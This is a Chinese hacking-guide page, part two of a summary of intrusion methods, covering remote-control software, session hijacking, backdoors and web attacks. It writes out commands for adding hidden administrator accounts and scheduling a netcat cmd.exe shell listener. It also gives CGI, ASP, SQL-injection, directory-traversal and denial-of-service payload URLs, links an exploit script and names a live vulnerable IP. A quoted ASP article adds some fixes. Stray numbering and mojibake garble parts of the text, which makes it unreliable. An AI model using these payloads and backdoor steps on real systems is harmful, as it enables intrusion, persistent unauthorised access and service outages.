※黑客攻防指南※===>黑客入门==>系统网络入侵方法小结(二)
系统网络入侵方法小结(二)

第十章:远程控制的不安全性
全球互联的经济负担使的对它的全局管理成为必要。假设系统管理员总不在现场,随时准备走到行为有误的计算机旁排除问题。其补救措施就是使用远程控制软件,诸如pcAnywhere、ControlIT、ReachOut和Timbuktu之类的远程控制软件对于管理员来说是天赐的宝物,因为他们可以帮助管理员虚拟的跳到某个用户的主机上排出问题或辅助完成某个任务。然而很糟糕的是,这些软件都可能被误配或充满了安全脆弱点,这就允许攻击者获取目标系统的访问权,下载敏感的信息,甚至使用一台计算机攻击整个公司,使的整个过程看起来像是某个雇员在攻击自己的机构。
1、 发现远程控制软件:一般远程控制软件都跟一些防火墙一样在一些默认的端口进行监听,2、 这样无疑给攻击者暴露了远程控制软件类型的危险。攻击者就可以针对远程控制软件的缺陷或者可能出现的错误配置而3、 达到控制系统的目的,4、 下面我们首先列出常见的远程控制软件的一些默认端口:
表:通过扫描指定端口提示的远程控制软件产品
软件 TCP端口 UDP端口 允许其他端口
Citrix ICA 1494 1494 不清楚
PcAnywhere 22、5631、5632、65301 22、5632 是
ReachOut 43188 无 否
Remotely Anywhere 2000、2001 无 是
Remotely Possible/ControlIT 799、800 800 是
Timbuktu 407 407 否
VNC 5800、5801… 无 是
上表中,对于允许修改端口的软件,必须要被管理的主机和管理的主机同时都更改了端口,才可以使用新的端口。为了发现一个利用远程控制端口控制的主机,我们就可以利用netcat对一段IP地址范围扫描一些常见的端口号。
nc -v -n -z -w 2 192.168.10.251 407 799 1494 2000 5631 5800 43188
一谈及扫描我们就会想到黑客工具箱中的必备工具,Linux下的nmap,它也可以实现同样的功能:
nmap -sS -p 407 799 1494 2000 5631 5800 43188 -n 192.168.10.0/24
5、 脆弱点:
 明文保存的用户名 和密码:Remotely Possible 4.0在存放用户名 和密码上没有任何保密性可言, 他们被存放在 \Program Files\Avalan\Remotely Possible\Main.sab文件中, 以明文形式保存用户的用户名 与密码。
 经过模糊处理的密码:ControlIT 4.5版本已经修复 了Remotely Possible 4.0以明文形式存放的用户名 和密码的漏洞, 然而 取而 代之的是, 他们仅仅实现了一个简单的替换算法来加密密码。举例来说, 密码“abcdabcd”的加密结果是“p|xdp|xd”。一旦知道这个弱点后, 攻击者同 样可以映射整个字母表, 从而 迅速的映射出任意的密码。
 提示出来的密码:很多远程管理软件在用户输入密码的时候并没有打补丁, 这样就可以通过一个GUI的软件Revelation解密。使用这个软件时, 可以把它拖到密码栏, 就能很轻松的提示星号后的密码。
 上传配置文件:攻击者一旦通过某种方法获得了一个NT系统的管理权限, 他们就可以通过上传自己的配置文件(例如.CIF或MAIN.SAB文件), 从而 自动获取该系统的访问权。PcAnywhere和Remotely possible4.0都容易受到这种攻击, 攻击者通过执行以下步骤完成:
(1) 在自己的pcAnywhere或Remotely possible4.0拷贝上中创建一个连续配置文件。
(2) 确定目标(3) 系统上该文件的存放位置,(4) 然后把本地上的配置文件拷贝到目标(5) 系统上的\DATA\或\AVALAN\REMOTE POSSIBLE\目录中。
(6) 使用pcAnywhere或Remotely possible4.0连接目标(7) 系统,(8) 再使用自己的用户名(9) 和密码取得完全访问权限。
第十一章:高级技巧
这一章我们分为三大板块:会话劫持、后门和特洛伊木马,下面我们逐步来讨论各个方法的使用:
1、 会话劫持:把TCP劫持从理论付诸实施的是一个叫做Juggernaut的软件,2、 这个自由软件产品是开创性的,3、 因为它能窥探TCP连接时并临时劫持它。这就使的攻击者能够向该连接的真正用户那样提交命令。举例来说,4、 如果攻击者使用的网络设备5、 处于与网络运行中心之间的某个共享网络媒体上,6、 那么他们就能窥探这个链路上所发生的所有连接,7、 并盗用其中的telnet会话或Cisco路由器上的enable密码。
Juggernaut
+------------------------------+
?) Help
0) Program information
1) Connection database
2) Spy on a connection
3) Reset a connection
4) Automated connection reset daemon
5) Simplex connection hijack
6) Interactive connection hijack
7) Packet assembly module
8) Souper sekret option number eight
9) Step Down
Juggernaut的最佳特性之一是Simplex connection hijack(单工连接劫持),他允许攻击者往本地系统提交命令。Interactive connection hijack(交互连接劫持)特性总是难以使用,因为交互连接往往会因ACK风暴而崩溃。
8、 后门:入侵者一旦获得了最高权限,9、 就会在系统上留下后门,10、 供下次进入主机时候用,11、 一般创建后门有以下一些方法:
 用户帐号:在Windows NT/2000上创建一个帐号使用net user username password /add命令, 把帐号添加入管理员组用net localgroup administrators username /add。不 过这样可以很方便的在NT/2000的计算机用户管理中看见, 这种方法只适合于没有一点安全意识的管理员。在UNIX下, 常用的方法是创建一个貌似无辜但UID或GID却设为0的用户帐号。还应该检查所属用户组与root用户的GID相同 的帐号, 首先在/etc/passwd文件中查看, 接着在/etc/group文件中查看。
 启动文件:在NT/2000上这个启动方面已经有很多说明了, 我把这篇文档的原始材料放在附录里, 有兴趣可以看看。我们要讨论的还有UNIX, UNIX平台攻击者频繁运用rc.d目录下的文件来安装后门。确保检查每一个rc文件, 找出其中不 熟悉的或新添加的程序。Inetd.conf文件也可能用于设置陷阱。Inetd.conf是UNIX上互联网超级服 务程序inetd的配置文件, inetd根据客户请求动态运行各种网络服 务器程序, 例如FTP、telnet、finger等等的服 务器。Inetd.conf文件中也可能找到有嫌疑的守护程序。
 受调度的作业:说起这个, 绝大部分攻击者绝对不 会陌生, 一般攻击者开始在主机上都没有执行的权限, 所以很多攻击者都用一些很普通的权限上传文件, 然后通过NT/2000的Schedule服 务处理程序。现在还是举一个很常用的例子说明这一点:
C:\>net use \\192.168.202.44\ipc$ “password” /user:”username”
C:\>copy c:\hacker\nc.exe \\192.168.202.44\admin$
C:\>at \\192.168.202.44 12:00 A /every:1 “” nc -d -L -p 8080 -e cmd.exe “”
该命令每天中午12点在8080端口上启动一个新的监听器,这样一来攻击者就可以使用netcat简单的连接到该监听中的端口取得一个命令shell。当然这里可以用于各批处理检查是否存在一个netcat监听,如果没有就可以用它启动。
12、 特洛伊木马:由于这种方法在上面攻击Windows 95/98都讲解的比较详细了,13、 有关方法请查阅以上的相关章节。
第十二章:攻击WEB
1、 WEB盗窃:其实这种方法很少有人使用,2、 不3、 过这种方法也能得到很多有用信息。编程人员为了以后修改网页代码方便,4、 一般都会加入一些注解。这其中可能有用户名5、 、密码、电子邮件信息、最后更新日期、数据库等有用的数据。因此查看web的源代码就能找到一些有用或无关的信息,6、 不7、 过这个过程是很方便的,8、 对于真正有针对性的攻击来说是特别重要的。
9、 找出众所周知的脆弱点:不10、 知道大家还记得否?最近的万11、 花谷、玫瑰骑士等网站浏览后……不12、 说了吧,13、 一段伤心的经历。他们主要是利用了Javascripts或一些ActiveX控件,14、 利用IE或者Netscape的一些没有对脚本充分验证的分上达到破坏用户主机的目的。我们将在附录中附带《网络休闲庄》对这方面的讲解代码。
15、 输入验证攻击:这将是一个很大的部分,16、 输入验证攻击利用了具备17、 有WEB开发人员或厂家的一些失误造成的公共网关接口(Common Gateway Interface,18、 简称CGI)程序、主动服19、 务器页面(Active Server Page,20、 简称ASP)和冷熔标21、 记语言(Cold Fusion Markup Language,22、 简称CFML)程序发动攻击。其基本问题出自这些程序在验证提供给指23、 定脚本的输入上的有效性上存在不24、 足。没有输入验证和净化的话,25、 攻击者有可能作为一个参数提交一个特殊字符合一个本地命令,26、 让web服27、 务器在本地执行命令。
不知道大家是否还记得,Unicode漏洞自从被发掘出来,已经让攻击者或轻或重的让成千上万的主机遭到了很大的损失,这就是一个典型利用输入验证重CGI脆弱点的典型例子。由于这方面的文章比较多,这里就不用详细讲解了,附录中讲附带网上关于这方面的讲解。
另外,已经有很多的CGI漏洞都被纳入了一篇IIS攻击大全的一篇综合性文章中了。比这将在附录中附出来,供读者参考。下面我们针对上面还没有谈及到的一些问题进行一定的分析。
电话薄脚本(PHF)的漏洞,这个漏洞在第六章已经有了一定的讲解了,就是通过一个不合理的请求产生的漏洞:
http:// www.target.com/cgi-bin/phf? Qalias=x%0a/bin/cat%20/etc/passwd
由于时间和篇幅的关系,详细说明参见第六章攻击UNIX系统的相关说明。
我们接下来讨论一下IrixCGI问题,IrixCGI处理程序的脆弱点可让攻击者把所提供的命令传递给脚本,从而在服务器本地执行他们。以下URL可用于查看密码文件(前提是WEB服务器用户拥有足够的权限):
http://www.company.com/cgi-bin/handler/something;cat<tab>/etc/passwd |? data=Download<tab>HTTP/1.0
注意:<tab>表示一个真实制表符。
接下来讨论test-cgi漏洞,这个最初有L0pht的一个国外的黑客小组发现的脆弱点允许攻击者远程清点受影响WEB服务器上的文件。举例来说,攻击者可以使用以下URL列出cgi-bin目录下的所有文件和目录:
http://www.company.com/cgi-bin/test-cgi?*
将导出结果显示QUERY_STRING环境变量的值:
QUERY_STRING=count.cgi createuser.pl nph-test-cgi phf php.cgi search.pl test-cgi wwwcount.cgi
再接下来就是讨论ASP的脆弱点了,虽然这有存在在浏览器中显示ASP源代码的严重漏洞,不过现在在绝大部分的主机系统已经不存在这个漏洞的威胁了。
下面摘录天极网关于ASP安全性的讲解文章《ASP网络安全讲述》:
ASP网络安全讲述
2000-05-29· 小 鸟·CPCW
最近发现有些站点疯狂转载本站以前的文章,连出处也不注明,确实过分了点,为了作者和我们网站的权益,请您收敛些!--wuhanman
一 前言
Microsoft Active Server Pages(ASP)是服务器端脚本编写环境,使用它可以创建和运行动态、交互的 Web服务器应用程序。使用 ASP 可以组合 HTML 页 、脚本命令和 ActiveX 组件以创建交互的 Web 页和基于 Web的功能强大的应用程序。
现在很多网站特别是电子商务方面的网站,在前台上大都用ASP来实现。以至于现在ASP在网站应用上很普遍。
ASP是开发网站应用的快速工具,但是有些网站管理员只看到ASP的快速开发能力,却忽视了ASP安全问题。ASP从一开始就一直受到众多漏洞,后门的困扰,包括%81的噩梦,密码验证问题,IIS漏洞等等都一直使ASP网站开发人员心惊胆跳。
本文试图从开放了ASP服务的操作系统漏洞和ASP程序本身漏洞,阐述ASP安全问题,并给出解决方法或者建议。
二 关键字
ASP,网络安全,IIS,SSL,加密。
三 ASP工作机理
Active Server Page技术为应用开发商提供了基于脚本的直观、快速、高效的应用开发手段,极大地提高了开发的效果。在讨论ASP的安全性问题之前,让我们来看看ASP是怎么工作的。ASP脚本是采用明文(plaintext)方式来编写的。
ASP脚本是一系列按特定语法(目前支持vbscript和jscript两种脚本语言)编写的,与标准HTML页面混合在一起的脚本所构成的文本格式的文件。当客户端的最终用户用WEB浏览器通过INTERNET来访问基于ASP脚本的应用时,WEB浏览器将向WEB服务器发出HTTP请求。WEB服务器分析、判断出该请求是ASP脚本的应用后,自动通过ISAPI接口调用ASP脚本的解释运行引擎(ASP.DLL)。ASP.DLL将从文件系统或内部缓冲区获取指定的ASP脚本文件,接着就进行语法分析并解释执行。最终的处理结果将形成HTML格式的内容,通过WEB服务器"原路"返回给WEB浏览器,由WEB浏览器在客户端形成最终的结果呈现。这样就完成了一次完整的ASP脚本调用。若干个有机的ASP脚本调用就组成了一个完整的ASP脚本应用。
让我们来看看运行ASP所需的环境:
Microsoft Internet Information Server 3.0/4.0/5.0 on NT Server
Microsoft Internet Information Server 3.0/4.0/5.0 on Win2000
Microsoft Person Web Server on Windows 95/98
WINDOWS NT Option Pack所带的Microsoft
IIS提供了强大的功能,但是IIS在网络安全方面却是比较危险的。因为很少有人会用Windows 95/98当服务器,因此本文我更多的从NT中的IIS安全问题来探讨。
四 微软自称的ASP的安全优点
虽然我们本文的重点是探讨ASP漏洞和后门,但是有必要谈谈ASP在网络安全方面的"优点",之所以加个"",是因为有时这些微软宣称的"优点"恰恰是其安全隐犯。
微软称ASP在网络安全方面一大优点就是用户不能看到ASP的源程序,从ASP的原理上看,ASP在服务端执行并解释成标准的HTML语句,再传送给客户端浏览器。"屏蔽"源程序能很好的维护ASP开发人员的版权,试想你辛辛苦苦做了一个很优秀的程序,给人任意COPY,你会怎么想?而且黑客还能分析你的ASP程序,挑出漏洞。更重要的是有些ASP开发者喜欢把密码,有特权的用户名和路径直接写在程序中,这样别人通过猜密码,猜路径,很容易找到攻击系统的"入口"。但是目前已经发现了很多能查看ASP源程序的漏洞,后面我们还要讨论。
IIS支持虚拟目录,通过在"服务器属性"对话框中的"目录"标签可以管理虚拟目录。建立虚拟目录对于管理WEB站点具有非常重要的意义。虚拟目录隐藏了有关站点目录结构的重要信息。因为在浏览器中,客户通过选择"查看源代码",很容易就能获取页面的文件路径信息,如果在WEB页中使用物理路径,将暴露有关站点目录的重要信息,这容易导致系统受到攻击。其次,只要两台机器具有相同的虚拟目录,你就可以在不对页面代码做任何改动的情况下,将WEB页面从一台机器上移到另一台机器。还有就是,当你将WEB页面放置于虚拟目录下后,你可以对目录设置不同的属性,如:Read、Excute、Script。读访问表示将目录内容从IIS传递到浏览器。而执行访问则可以使在该目录内执行可执行的文件。当你需要使用ASP时,就必须将你存放.asp文件的目录设置为"Excute(执行)"。建议大家在设置WEB站点时,将HTML文件同ASP文件分开放置在不同的目录下,然后将HTML子目录设置为"读",将ASP子目录设置为"执行",这不仅方便了对WEB的管理,而且最重要的提高了ASP程序的安全性,防止了程序内容被客户所访问。
五 ASP漏洞分析和解决方法
有人说一台不和外面联系的电脑是最安全的电脑,一个关闭所有端口,不提供任何服务的电脑也是最安全的。黑客经常利用我们所开放的端口实施攻击,这些攻击最常见的是DDOS(拒绝服务攻击).下面我会列出ASP的二十几个漏洞,每个漏洞都会有漏洞描述和解决方法。
1 在ASP程序后加个特殊符号,能看到ASP源程序
 受影响的版本:
  win95+pws
  IIS3.0
  98+pws4 不存在这个漏洞。
  IIS4.0以上的版本也不存在这个漏洞。
  问题描述:
  这些特殊符号包括小数点,%81, ::$DATA。比如:
http://someurl/somepage.asp.
http:// someurl/somepage.asp%81
http:// someurl/somepage.asp::$DATA
http:// someurl/somepage.asp %2e
http:// someurl/somepage %2e%41sp
http:// someurl/somepage%2e%asp
http:// someurl/somepage.asp %2e
http://someurl/msadc/samples/selector/showcode.asp?source=/msadc/samples/../../../../../../boot.ini(可以看到boot.ini的文件内容)
那么在安装有IIS3.0和win95+PWS的浏览中就很容易看到somepage.asp的源程序。究竟是什么原因造成了这种可怕的漏洞呢?究其根源其实是Windows NT 特有的文件系统在做怪。有一点常识的人都知道在 NT 提供了一种完全不同于 FAT的文件系统:NTFS,这种被称之为新技术文件系统的技术使得 NT具有了较高的安全机制,但也正是因为它而产生了不少令人头痛的隐患。大家可能不知道, NTFS 支持包含在一个文件中的多数据流,而这个包含了所有内容的主数据流被称之为"DATA",因此使得在浏览器 里直接访问 NTFS系统的这个特性而轻易的捕获在文件中的脚本程序成为了可能。然而 直接导致 ::$DATA 的原因是由于 IIS在解析文件名的时候出了问题,它没有很好地规范文件名。
解决方法和建议:
如果是Winodws NT用户,安装IIS4.0或者IIS5.0,Windows2000不存在这个问题。如果是win95用户,安装WIN98和PWS4.0。
2 ACCESS mdb 数据库有可能被下载的漏洞
问题描述:在用ACCESS做后台数据库时,如果有人通过各种方法知道或者猜到了服务器的ACCESS数据库的路径和数据库名称,那么他能够下载这个ACCESS数据库文件,这是非常危险的。比如:如果你把ACCESS数据库book.mdb放在虚拟目录下的database目录下,那么有人在浏览器中打入:
http:// someurl/database/book.mdb
如果你的book.mdb数据库没有事先加密的话,那book.mdb中所有重要的数据都掌握在别人的手中。
解决方法:
(1) 为你的数据库文件名称起个复杂的非常规的名字,并把他放在几目录下。所谓"非常规",打个比方:比如有个数据库要保存的是有关书籍的信息,可不要把他起个"book.mdb"的名字,起个怪怪的名称,比如d34ksfslf.mdb,再把他放在如./kdslf/i44/studi/的几层目录下,这样黑客要想通过猜的方式得到你的ACCESS数据库文件就难上加难了。
(2)不要把数据库名写在程序中。有些人喜欢把DSN写在程序中,比如:
DBPath = Server.MapPath("cmddb.mdb")
conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPath
假如万一给人拿到了源程序,你的ACCESS数据库的名字就一览无余。因此建议你在ODBC里设置数据源,再在程序中这样写:
conn.open "shujiyuan"
(3)使用ACCESS来为数据库文件编码及加密。首先在选取"工具->安全->加密/解密数据库,选取数据库(如:employer.mdb),然后接确定,接着会出现"数据库加密后另存为"的窗口,存为:employer1.mdb。接着employer.mdb就会被编码,然后存为employer1.mdb..
要注意的是,以上的动作并不是对数据库设置密码,而只是对数据库文件加以编码,目的是为了防止他人使用别的工具来查看数据库文件的内容。接下来我们为数据库加密,首先以打开经过编码了的employer1.mdb,在打开时,选择"独占"方式。然后选取功能表的"工具->安全->设置数据库密码",接着输入密码即可。
为employer1.mdb设置密码之后,接下来如果再使用ACCEES数据库文件时,则ACCESS会先要求输入密码,验证正确后才能够启动数据库。
不过要在ASP程序中的connection对象的open方法中增加PWD的参数即可,例如:
param="driver={Microsoft Access Driver (*.mdb)};Pwd=yfdsfs"
param=param&";dbq="&server.mappath("employer1.mdb")
conn.open param
这样即使他人得到了employer1.mdb文件,没有密码他是无法看到employer1.mdb的。
3 code.asp文件会泄漏ASP代码
问题描述:
举个很简单的例子,在微软提供的 ASP1.0 的例程里有一个 .asp 文件,专门用来查看其它 .asp 文件的源代码,该文件为ASPSamp/Samples/code.asp。如果有人把这个程序上传到服务器,而服务器端没有任何防范措施的话,他就可以很容易地查看他人的程序。例如:code.asp?source=/directory/file.asp
不过这是个比较旧的漏洞了,相信现在很少会出现这种漏洞。
下面这命令是比较新的:
http://someurl/iissamples/exair/howitworks/code.asp?/lunwen/soushuo.asp=xxx.asp
最大的危害莫过于asa文件可以被上述方式读出;数据库密码以明文形式暴露在黑客眼前;
问题解决或建议:
对于IIS自带的show asp code的asp程序文件,删除该文件或者禁止访问该目录即可
4、filesystemobject 组件篡改下载 fat 分区上的任何文件的漏洞
问题描述:
IIS3、 IIS4 的 ASP 的文件操作都可以通过 filesystemobject实现,包括文本文件的读写目录操作、文件的拷贝改名删除等,但是这个强大的功能也留下了非常危险的 "后门"。利用filesystemobjet 可以篡改下载 fat 分区上的任何文件。即使是 ntfs分区,如果权限没有设定好的话,同样也能破坏,一不小心你就可能遭受"灭顶之灾 "。遗憾的是很多 webmaster 只知道让 web服务器运行起来,很少对 ntfs 进行权限 设置,而 NT 目录权限的默认设置偏偏安全性又低得可怕。因此,如果你是Webmaster,建议你密切关注服务器的设置,尽量将 web 目录建在 ntfs 分区上,目录不要设定 everyone full control,即使是是管理员组的成员一般也没什么必要 full control,只要有读取、更改权限就足够了。也可以把filesystemobject的组件删除或者改名。
5、输入标准的HTML语句或者javascript语句会改变输出结果
问题描述:
在输入框中打入标准的HTML语句会得到什么相的结果呢?
比如一个留言本,我们留言内容中打入:
<font size=10>你好!</font>
 如果你的ASP程序中没有屏蔽html语句,那么就会改变"你好"字体的大小。在留言本中改变字体大小和贴图有时并不是什么坏事,反而可以使留言本生动。但是如果?入框中写个 javascript 的死循环,比如:<a herf="http://someurl" onMouseover="while(1){window.close(/)}">特大新闻</a>
那么其他查看该留言的客人只要移动鼠标到"特大新闻",上就会使用户的浏览器因死循环而死掉。
解决方法和建议:
编写类似程序时应该做好对此类操作的防范,譬如可以写一段程序判断客户端的输入,并屏蔽掉所有的 HTML、 Javascript 语句。
6、ASP程序密码验证漏洞
漏洞描述:
很多网站把密码放到数据库中,在登陆验证中用以下sql,(以asp为例)
sql="select * from user where username="&username&"and pass="& pass &"
此时,您只要根据sql构造一个特殊的用户名和密码,如:ben or 1=1就可以进入本来你没有特权的页面。再来看看上面那个语句吧:
sql="select * from user where username="&username&"and pass="&pass&"
此时,您只要根据sql构造一个特殊的用户名和密码,如:ben or 1=1这样,程序将会变成这样: sql="select*from username where username="&benor1=1&"and pass="&pass&" or是一个逻辑运算符,作用是在判断两个条件的时候,只要其中一个条件成立,那么等式将会成立.而在语言中,是以1来代表真的(成立).那么在这行语句中,原语句的"and"验证将不再继续,而因为"1=1"和"or"令语句返回为真值.。
另外我们也可以构造以下的用户名:
username=aa or username<>aa
pass=aa or pass<>aa
相应的在浏览器端的用户名框内写入:aa or username<>aa 口令框内写入:aa or pass<>aa,注意这两个字符串两头是没有的。这样就可以成功的骗过系统而进入。
后一种方法理论虽然如此,但要实践是非常困难的,下面两个条件都必须具备。
1.你首先要能够准确的知道系统在表中是用哪两个字段存储用户名和口令的,只有这样你才能准确的构造出这个进攻性的字符串。实际上这是很难猜中的。
2.系统对你输入的字符串不进行有效性检查。
问题解决和建议:
对输入的内容验证和""号的处理。
7、IIS4或者IIS5中安装有INDEX SERVER服务会漏洞ASP源程序
问题描述:
在运行IIS4或者IIS5的Index Server,输入特殊的字符格式可以看到ASP源程序或者其它页面的程序。甚至以及添打了最近关于参看源代码的补丁程序的系统,或者没有.htw文件的系统,一样存在该问题。获得asp程序,甚至global.asa文件的源代码,无疑对系统是一个非常重大的安全隐患。往往这些代码中包含了用户密码和ID,以及数据库的源路径和名称等等。这对于攻击者收集系统信息,进行下一步的入侵都是非常重?
通过构建下面的特殊程序可以参看该程序源代码:
http://202.116.26.38/null.htw?CiWebHitsFile=/default.asp&CiRestriction=none&CiHiliteType=Full
这样只是返回一些html格式的文件代码,但是当你添加%20到CiWebHitsFile的参数后面,如下:
http://someurl/null.htw?CiWebHitsFile=/default.asp%20&CiRestriction=none&CiHiliteType=Full这将获得该程序的源代码。(注意:/default.asp是以web的根开始计算。如某站点的http:///welcome/welcome.asp
那么对应就是:
http://someurl/null.htw?CiWebHitsFile=/welcome/welcome.asp%20&CiRestriction=none&CiHiliteType=Full)
由于null.htw文件并非真正的系统映射文件,所以只是一个储存在系统内存中的虚拟文件。哪怕你已经从你的系统中删除了所有的真实的.htw文件,但是由于对null.htw文件的请求默认是由webhits.dll来处理。所以,IIS仍然收到该漏洞的威胁。
问题解决或者建议:
如果该webhits提供的功能是系统必须的,请下载相应的补丁程序。如果没必要,请用IIS的MMC管理工具简单移除.htw的映象文件。
补丁程序如下:
Index Server 2.0:
Intel:
http://www.microsoft.com/downloads/release.asp?ReleaseID=17727
Alpha:
http://www.microsoft.com/downloads/release.asp?ReleaseID=17728
Indexing Services for Windows 2000:
Intel:
http://www.microsoft.com/downloads/release.asp?ReleaseID=17726
8、ASP聊天室程序的漏洞
问题描述:
如果聊天室ASP程序设计不当,很容易会给他人利用来做坏事:可以踢人,穿墙,捣乱.
首先,我们看看聊天室里有什么漏洞,大家看看下面这段代码:
<html>
<head>
<body BGCOLOR="008888" TEXT="FFFFFF">
…………………………
………………
………
<form NAME="sendmsg" ACTION="chatt.asp" METHOD="POST"
target="mtalk1"
OnSubmit="return chksend();">
<input type="hidden" name="username" value="测试者">******
<input type="hidden" name="sex" value="boy">********
<input type="hidden" name="message" value="">
<input type="hidden" name="a_method" value="sendtalk">
<div align="center"><center>
<table CELLSPACING="0" CELLPADDING="0"> <tr>
<td>发言: <input type="text" name="msg" size="60"> </td>
<td><input type="submit" value="发 言"> </td>
</tr>
<tr>
<td>悄悄:<input type=checkbox name=mtalk value=1>
对象:<input type="text" name="betalk" size="10">
表情:<select NAME="exp" onChange="document.sendmsg.msg.focus();document.sendmsg.msg.select();" size="1">
………
……………
……………………
</form>
<form name="getout" ACTION="chatt.pl" METHOD="POST">
<input type="hidden" name="username" value="测试者">!!!!!!
<input type="hidden" name="a_method" value="getout">!!!!
<input type="submit" value="退 出"></td>
</form>
</body>
</html>
 以上这段代码是我在某个聊天室用"测试者"作代号登陆后在发言帧当下来的, 这只是一小部份,? 这一小部份代码里面就有两个漏洞。
第一个漏洞:大家看看上面的代码加上"*"号的那两句,其中第一句中的"测试者"就是我登陆的名字,还有,第二句中的"boy"是登陆时的性别,还有再看看下面我加上"!"号的两句,第一句里还是有我登陆时的名字,这几句都是我现在想说的两个漏洞所在点。如果想在这个聊天室里穿墙的话,只要把发言帧的代码当下来另存,把"form"的"action"改成聊天室的地址,然后把再"*"号的第一句的"测试者"两字改成想要的名字就可以了。也可以变换性别,只要把第二句的 "boy"改成"girl"。这就是所谓的穿墙术了。你甚至可以把它改成在线人的名字,然后发言,这样就冒充别人的姓名谈话。
第二个漏洞:踢人的漏洞就是这个了,我们看一下带"!"号的第一句,上面有是合法用户登陆的名字,再看第二句,他有"getout",再加上上面还有一段"form"标签,这段就是我们退出聊天室时的代码,这个有什么用呢?我们先试试看,首先还是把"form"标签的"action"改成 聊天室的地址,不然就不知道提交给哪个家伙了。然后把"风风"改成你想踢下去的人的名字然后单击"退出",那就把那个人踢出聊天室了。这个就是聊天室踢人的漏洞。
这两个漏洞主要的原因是这两个漏洞使服务程序不识别客户发出的指令是不是合法用户。以上两漏骗服务程序来更名发出发言,或更名退出,使得真正的使用者受害。
当然上面的程序中还有一个漏洞,输入框没有对HTML语句和JAVASCRIPT语句做过滤。这个问题我们在漏洞5中已有详细分析,这里就不谈了。
问题解决或者建议:
在程序设计中让服务程序能识别到底是哪个家伙发出的指令就可以了,具体做法可以为每个聊天者发一个识别码,象五笔字一样,也可以用每个聊天者的密码识别,也可以把聊天者的密码随机加密后用作识别等等,反正能使你的服务程序识别到底是谁发出的指令就可以了。
9、NT iss4.0_AuthChangeUrl? 漏洞
问题描述:在NT iis4.0,当输入如下命令时
http://someurl/_AuthChangeUrl?<font%20size=7%20color=red>你好 你看到发生了什么吗?<font size=7 color=red>被解释成功,出现了红色的放大的"你好"字
我们再来看看以下的命令: http://someurl/_AuthChangeUrl?<img%20src=file:\\\c:\1.jpg>
上面的命令将显示c:根目录下的1.jpg图片,如果1.jpg存在的话。http://someurl/_AuthChangeUrl?<a%20href=file:///c:/install.exe>上面的命令将下载C:根目录下的install.exe文件。
按照这种方法还能打开对方服务器上一个已经知道的文本文件。
10、微软开发的两个动态库存在后门允许用户查看ASP文件源程序和下载整个网站
问题描述:随IIS和Frontpage Extention server而来的动态库程序,存在后门,允许用户远程读取asp、asa和CGI程序的源代码。但这个动态库要求有密码,这个后门的密码是: "Netscape engineers are weenies!"程序路径为: /_vti_bin/_vti_aut/dvwssr.dll一般安装了 Frontpage98的 IIS服务器都有这个路径和文件。这个程序要求解码后才能发挥读取asp等源程序,有趣的是,这个密码正是嘲弄其竞争对手Netscape的。
现提供一个有该漏洞的国外网站给安全技术人员参考:
http://62.236.90.195
关于读取源程序,请下载这个测试程序,用法为: [john@Linux john]$ ./dvwssr1.pl 62.236.90.195 /cqsdoc/showcode.asp
测试程序: http://www.cnns.net/exploits/nt/dvwssr1.pl
11、漏洞名称:IIS4.0受HTTP的D.O.S攻击漏洞
问题描述:
  受影响的版本:IIS 4.0以及更早的版本
  这是一个很简单的方法.发送很多的"Host:aaaaa...aa"到IIS:
GET / HTTP/1.1
Host: aaaaaaaaaaaaaaaaaaaaaaa....(200 bytes)
Host: aaaaaaaaaaaaaaaaaaaaaaa....(200 bytes)
...10,000 lines
Host: aaaaaaaaaaaaaaaaaaaaaaa....(200 bytes)
发送了象上面所写的两次请求后,对方的IIS在接受了这些请求后就会导致内存溢出.当然,它就芏愿?嗟那肭笞鞒龇从ΑR蛭?苑秸?狈π槟饽诖妫??衿饕步?V乖诵小J潞螅?苑讲荒芡¨?仄?eb service来解决问题,而必须重启服务器。
12 漏洞名称:IIS5.0超长URL拒绝服务漏洞
问题描述: Microsoft IIS 5.0在处理以".ida"为扩展名的URL请求时,它会有两种结果。一个可能的结果是服务器回复"URLString too long"的信息;或类似"Cannot find the specified path"的信息。另一种可能就是服务器端服务停止,并返回"Access Violation"信息(即成功的实现了对服务器端的拒绝服务攻击)
当远端攻击者发出类似如下的请求时: http://someurl/...[25kb of .]...ida服务器端会崩溃(导致拒绝服务攻击)或返回该文件不在当前路径的信息(暴露文件物理地址)
问题解决或者建议:大多数情况下,站点很少使用扩展名为".ida"和".idq"的文件,可在ISAPI脚本映射中,将扩展名为".ida"和".idq"的应用程序映射删除。
13 请求不存在的扩展名为idq或ida 文件,会暴露服务器上得物理地址.
问题描述:通过请求一个不存在的扩展名为idq或ida得文件,IIS会暴露文件在服务器上得物理地址.这样会给攻击者提供了不必要的信息,而且,这对攻击一个Web站点来说,是很有价值的第一步。
测试程序:通过请求如:
http://someurl/anything.ida
http://someurl/lunwen/anything.ida或:
http://someurl/anything.idq
一个远端用户可以收到类似:The IDQ d:\http\anything.idq could not be found的响应。这样的一个响应就会让攻击者获得了Web站点的物理路径,并且还可以获得更多的有关该站点在服务器上的组织与结构。
14、NT Index Server存在返回上级目录的漏洞
问题描述:受影响的版本:Microsoft Index Server2.0 [WinNT4.0,WinNT 2000.0]
Index Sserver2.0是WinNT4.0 Option Pack中附带的一个软件的工具,其中的功能已经被WinNT 2000中的Indexing Services所包含。当与IIS结合使用时,Index Server和Indexing Services便可以在最初的环境来浏览Web Search的结果,它将生成一个HTML文件,其中包含了查找后所返回页面内容的简短引用,并将其连接至所返回的页面[即符合查询内容的页面],也就是超级连接。要做到这一点,它便需要支持由webhits.dll-ISAPI程序处理的.htw文件类型。这个dll允许在一个模版中使用"../"用做返回上级目录的字符串.这样,了解服务器文件结构的攻击者便可以远程的阅读该机器上的任意文件了。
漏洞的利用: 1)您的系统中存在.htw文件Index Server提供的这种超级连接允许Web用户获得一个关于他搜寻结果的返回页,这个页面的名字是与CiWebHits File变量一起通过.htw文件的,webhits.dll这个ISAPI程序将处理这个请求,对其进行超级连接并返回该页面。因此用户便可以控制通过.htw文件的CiWebHits变量,请求到任何所希望获得的信息。另外存在的一个问题便是ASP或其他脚本文件的源代码也可以利用该方法来获得。
上面我们说过webhits.dll后接上"../"便可以访问到Web虚拟目录外的文件,下面我们来看个例子:
http://somerul/iissamples/issamples/oop/qfullhit.dll?CiWebHitsFile=/../../ winnt/system32/logfiles/w3svc1/ex000121.log&CiRestriction=none&CiHiliteType=Full
在浏览器中输入该地址,便可以获得该服务器上给定日期的Web日志文件.在系统常见的.htw样本文件有:
/iissamples/issamples/oop/qfullhit.htw
/iissamples/issamples/oop/qsumrhit.htw
/iissamples/exair/search/qfullhit.htw
